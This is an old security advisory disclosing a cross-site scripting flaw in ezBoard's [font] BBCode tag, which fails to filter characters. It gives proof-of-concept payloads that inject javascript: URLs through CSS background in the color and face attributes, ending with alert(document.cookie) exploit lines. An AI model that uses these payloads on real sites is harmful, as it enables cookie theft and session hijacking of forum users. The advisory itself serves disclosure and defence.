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Advisory Name:ezBoard Cross Site Scripting Vulnerability
Release Date: Feb 24,2004
Application: ezBoard
Version Affected: 7.3u or lower?
Vendor URL: http://www.ezboard.com/
Discover: Cheng Peng Su(apple_soup_at_msn.com)

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Proof of Concept:
This vuln is from [font],ezBoard doesn't filter illegal characters ,such as ';()

[font color=red;background:url(javascript:{XSS code})]hey[/font] will show
<span style="colored;background:url(javascript:{XSS code});font-size:small;">hey</span>

and

[font face=Verdana;background:url(javascript:{XSS code})]hey[/font] will show
<span style="font-family:Verdana;background:url(javascript:{XSS code}));font-size:small;">hey</span>


Exploit:
[font color=red;background:url(javascript:alert(document .cookie))]Big Exploit![/font]
[font face=Verdana;background:url(javascript:alert(docum ent.cookie))]Big Exploit![/font]


Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China